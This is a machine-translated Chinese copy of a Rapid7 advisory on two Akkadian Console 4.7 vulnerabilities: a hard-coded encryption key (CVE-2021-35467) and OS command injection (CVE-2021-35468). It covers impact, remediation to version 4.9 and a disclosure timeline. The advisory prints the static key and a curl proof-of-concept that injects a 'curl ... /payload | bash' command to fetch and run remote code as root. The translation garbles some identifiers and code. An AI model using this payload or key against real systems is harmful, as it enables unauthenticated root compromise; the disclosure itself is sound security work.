最后更新于2024年1月25日星期四14:02:04 GMT

在日常安全研究的过程中, Rapid7研究员Jonathan Peterson说, 凯尔黑, 威廉Vu, Adam Cammack发现阿卡德控制台(通常被称为“ACO”)版本4.7、一个调用管理器解决方案,受两个漏洞影响. 第一个, cve - 2021 - 35468, 允许根系统命令执行单个经过身份验证的POST请求, cve - 2021 - 35467允许对应用程序加密的数据进行解密, 这会导致任意创建会话并暴露存储在应用程序中的任何其他敏感数据. 结合, 未经身份验证的攻击者可以获得远程, 一个易受攻击的阿卡德控制台服务器实例的root权限.

CVE标识符 CWE标识符 基本CVSS分数(严重性) 修复
cve - 2021 - 35467 cwe - 321:使用硬编码加密密钥 9.1 (关键:AV:N/AC:L/PR:N/UI:N/ S:U/C:H/I:H/A:N) 在第4版修复.9
cve - 2021 - 35468 cwe - 78OS命令中使用的特殊元素的不当中和(“OS命令注入”) 7.4 (High: AV:N/AC:L/PR:L/UI: N/S:C/C:H/I:H/A:N) 在第4版修复.9

产品描述

Akkadian Console (ACO)是一个呼叫管理系统,允许用户通过集中管理web门户处理传入呼叫. 更多信息请访问 ACO供应商网站.

信贷

这些问题是由Jonathan Peterson (@deadjakk)发现的, 凯尔黑, 威廉Vu, 和亚当·卡马克, 所有的Rapid7, 根据Rapid7的漏洞披露政策进行披露.

剥削

以下内容是在Akkadian Console Server的Linux版本4上观察和测试的.7.0 (build 1f7ad4b)(根据命名惯例,创建日期:2021年2月2日).

cve - 2021 - 35467: Akkadian控制台服务器硬编码加密密钥

使用DnSpy反编译' acoserver '的字节码.在Akkadian Console虚拟设备上, Rapid7的研究人员发现,阿卡德控制台使用的是静态加密密钥, “0 c8584b9 - 020 b - 4 - db4 - 9247 - 22 - dd329d53d7”, 用于加密和解密敏感数据. 具体地说, 研究人员观察到至少有以下数据使用这个硬编码字符串加密:

  • 用户会话(集合中最关键的,如下所述)
  • FTP密码
  • LDAP凭证
  • SMTP凭证
  • 杂项服务证书

用于加密/解密这些数据的字符串常量被硬编码到' primary ' c#库中. 知道这个字符串的人, 或者可以通过询问' acoserver '的发布版本来学习字符串.服务器的Dll ',能够解密和恢复这些值.

除了能够恢复各种服务的已保存凭据之外, Rapid7的研究人员能够使用任意数据为Akkadian控制台管理门户编写加密的用户会话, 授予对应用程序管理功能的访问权限.

在ACO服务器的反编译代码中显示的硬编码密钥

服务器的TokenService.DLL使用硬编码字符串加密和解密用户会话信息, 以及应用程序中使用“Encrypt”方法的其他数据.

如下面的函数所示, 应用程序使用ECB密码, 以及PKCS7填充来解密(和加密)这些敏感数据.

解密功能存在于服务器中.dll查看与DnSpy

下图显示了“授权”头的加密和解密版本,其中显示了可用于操作的可能变量. 使用 一个简短的python脚本, 一个人可以创建一个带有任意值的会话令牌,然后使用它作为一个经过身份验证的用户连接到Akkadian web控制台.

成功解密由应用程序生成的会话

使用会话令牌的解密值, 可以创建一个“自定义”令牌, 用最近的时间戳替换我们想要的任何值,以成功地对web门户进行身份验证.

下图显示了使用此技术向受限制的web端点发出请求,该端点使用用户帐户的加密密码进行响应. 由于使用相同的密码加密应用程序(会话)中的大多数内容, 保存FTP密码, 备份, LDAP, 等.), 我们可以对应用程序的某些部分在响应中发回的加密密码进行解密:

使用相同的私钥解密应用程序返回的加密管理密码

此漏洞可以与下一个漏洞一起使用, cve - 2021 - 35468, 实现命令的远程执行.

cve - 2021 - 35468: Akkadian Console Server OS命令注入

Akkadian Console应用程序提供SSL证书生成. 相应的网页表单如下图所示:

与易受攻击端点相关联的web功能

应用程序生成这些证书的方式是通过使用' /bin/bash '发出一个系统命令来运行一个未经处理的' openssl '命令,该命令是根据用户请求的参数构造的.

下面的截图显示了这部分代码,因为它存在于反编译的' acoserver '中.dll的.

从DnSpy看到的脆弱方法

旁注:在较新的版本中(可能是4.7+),这个“授权”头实际上是有效的. 在旧版本的阿卡德控制台, 这个API端点似乎并没有实际强制授权,而只是检查“authorization”头是否存在. 因此在这些老年人中, 影响版本, 此端点和相关漏洞可以使用cve - 2021 - 35467直接访问,而无需制作头部. 确切的受影响版本尚未被研究.

下面的curl命令将使Akkadian Console服务器自己运行自己的curl命令(在Organization字段中),并将结果通过管道传递给bash.

curl -i -s -k -X $'POST
   -H $'Host: 192.168.200.216' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:88.0)壁虎/20100101火狐/88.0' -H $'Authorization: ' -H $'Content-Type: application/json' -H $'Content-Length: 231' \
   ——data-binary $'{\"AlternativeNames\": [\.com \”,\“asdf.. com \”], "CommonName\": "mydomano . com ".com \”, \ \”:\“\”, \”状态 \": \";;;;;`\", \“城市 \": \";;;``;;`\", \"Organization\": \";;; ' curl 192.168.200.1 /载荷| bash `;;`\", \" OrganizationUnit \": \";;\", \" 电子邮件 \": \"\"}' \
   美元的http://192.168.200.216 / api / acoweb generateCertificate”

一旦ACO收到, 执行指定的curl有效负载, 然后产生一个壳, 但是任何操作系统命令都可以执行.

影响

cve - 2021 - 35467, 本身, 是否允许未经身份验证的用户对应用程序进行管理访问. 鉴于此设备支持ldap相关功能, 然后,攻击者可以利用这种访问,通过存储的LDAP帐户通过Active 导演y转向组织中的其他资产.

cve - 2021 - 35468可以允许任何经过身份验证的用户以root权限执行操作系统级命令.

通过结合cve - 2021 - 35467和cve - 2021 - 35468, 未经身份验证的用户可以首先通过创建任意会话将自己建立为身份验证的用户, 然后以root身份在ACO的主机操作系统上执行命令. 从那里,攻击者可以在受影响的设备上安装他们选择的任何恶意软件.

修复

Akkadian控制台的用户应该更新到4.9,解决了这些问题. 在没有升级的情况下,Akkadian Console版本4的用户.7或以上版本应该只将web界面暴露给受信任的网络-特别是,不是Internet.

披露时间表

  • 2021年4月:Jonathan Peterson和他的朋友们在Rapid7开发了Discovery
  • 2021年6月16日星期三:向供应商进行初步披露
  • 2021年6月23日星期三:向供应商披露了更新的细节
  • 2021年7月13日星期二:供应商表示版本4.9修复问题
  • 2021年8月3日星期二:供应商提供 4的发布说明链接.9
  • 2021年9月7日星期二:披露公布

不要错过任何一个博客

获取有关安全的最新故事、专业知识和新闻.